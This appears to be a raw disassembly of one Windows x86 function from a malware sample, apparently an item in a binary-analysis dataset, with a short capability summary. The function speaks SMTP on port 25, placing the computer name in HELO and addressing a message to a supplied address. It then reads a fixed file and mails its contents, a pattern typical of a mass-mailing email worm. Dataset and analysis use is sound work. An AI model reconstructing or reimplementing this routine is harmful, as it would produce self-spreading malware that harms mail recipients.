Function at 0x37375acf
Capabilities:
Get file size
Get hostname
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push ebx
push esi
push edi
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
push 0x40
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
xor ebx, ebx
add esp, 0xc
cmp esi, ebx
je 0x37375b7e
push esi
call sub.MSVCRT.dll_strlen
cmp eax, 2
pop ecx
jb 0x37375b7e
lea eax, [ebp - 0x53c]
inc esi
push eax
push dword [0x3737a470]
push esi
call section..text
add esp, 0xc
lea eax, [ebp - 0x53c]
push eax
call dword [0x3737ac80]
mov esi, eax
cmp esi, ebx
je 0x37375b7e
push 0x10
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
movsx eax, word [esi + 0xa]
push eax
mov eax, dword [esi + 0xc]
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
mov word [ebp - 0x20], 2
push 0x19
pop edi
push edi
call dword [0x3737ac98]
push ebx
push 1
pop esi
mov word [ebp - 0x1e], ax
push esi
push 2
call dword [0x3737acbc]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x37375b85
xor eax, eax
jmp 0x37375f3d
mov dword [ebp - 0xc], esi
lea ecx, [ebp - 0xc]
mov esi, 0x8004667e
push ecx
push esi
push eax
call dword [0x3737ac78]
test eax, eax
je 0x37375ba4
xor esi, esi
jmp 0x37375f32
lea eax, [ebp - 0x20]
push 0x10
push eax
push dword [ebp - 4]
call dword [0x3737acb8]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
push esi
push dword [ebp - 4]
call dword [0x3737ac78]
test eax, eax
jne 0x37375b9d
mov esi, 0x400
push 0xa
lea eax, [ebp - 0x43c]
push esi
push eax
push dword [ebp - 4]
call fcn.3737623b
add esp, 0x10
test eax, eax
je 0x37375b9d
cmp byte [ebp - 0x43c], 0x32
jne 0x37375b9d
lea eax, [ebp - 0x43c]
push str.HELO
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
and byte [ebp - 0x3c], 0
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x3c]
push 0x3f8
push eax
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
lea eax, [ebp - 0x43c]
push 0x3737a2d4
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x43c]
push esi
push eax
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 4]
call fcn.373761fd
add esp, 0x24
test eax, eax
je 0x37375b9d
cmp byte [ebp - 0x43c], 0x32
jne 0x37375b9d
lea eax, [ebp - 0x43c]
push str.MAIL_FROM:__
push eax
call sub.MSVCRT.dll_strcpy
mov ebx, 0x3737d6c4
lea eax, [ebp - 0x43c]
push ebx
push eax
call sub.MSVCRT.dll_strcat
mov edi, 0x3737a350
lea eax, [ebp - 0x43c]
push edi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x43c]
push esi
push eax
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 4]
call fcn.373761fd
add esp, 0x28
test eax, eax
je 0x37375b9d
cmp byte [ebp - 0x43c], 0x32
jne 0x37375b9d
lea eax, [ebp - 0x43c]
push str.RCPT_TO:__
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x43c]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x43c]
push edi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x43c]
push esi
push eax
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 4]
call fcn.373761fd
add esp, 0x28
test eax, eax
je 0x37375b9d
cmp byte [ebp - 0x43c], 0x32
jne 0x37375b9d
lea eax, [ebp - 0x43c]
push str.DATA_r_n
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x43c]
push esi
push eax
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 4]
call fcn.373761fd
add esp, 0x18
test eax, eax
je 0x37375b9d
cmp byte [ebp - 0x43c], 0x33
jne 0x37375b9d
lea eax, [ebp - 0x43c]
push str.From:__
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x43c]
push ebx
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x43c]
push edi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x43c]
push str.Subject:
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x63c]
push eax
call fcn.37375f42
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x43c]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x43c]
push 0x3737a2d4
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x34
lea eax, [ebp - 0x43c]
push 0x3c
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 4]
call fcn.373762dc
add esp, 0x10
test eax, eax
je 0x37375b9d
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push 0x3737c918
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp + 8], ebx
je 0x37375b9d
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x37375e49
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x37375b9d
add eax, 0x10
push eax
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov ebx, eax
cmp ebx, edi
jne 0x37375e66
push dword [ebp + 8]
jmp 0x37375e3e
lea eax, [ebp - 0x10]
push edi
push eax
mov dword [ebp - 0x10], edi
push dword [ebp - 8]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
test eax, eax
jne 0x37375e9b
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push edi
push dword [0x3737ad14]
call dword [0x3737acd0]
jmp 0x37375b9d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3c
push dword [ebp - 8]
push ebx
push dword [ebp - 4]
call fcn.373762dc
add esp, 0x10
test eax, eax
push ebx
push edi
push dword [0x3737ad14]
je 0x37375e90
call dword [0x3737acd0]
lea eax, [ebp - 0x43c]
push 0x3737a324
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x43c]
push esi
push eax
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 4]
call fcn.373761fd
add esp, 0x18
test eax, eax
je 0x37375b9d
cmp byte [ebp - 0x43c], 0x32
jne 0x37375b9d
lea eax, [ebp - 0x43c]
push str.QUIT_r_n
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x43c]
push esi
push eax
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 4]
call fcn.373761fd
add esp, 0x18
push 1
pop esi
push dword [ebp - 4]
call dword [0x3737ac9c]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret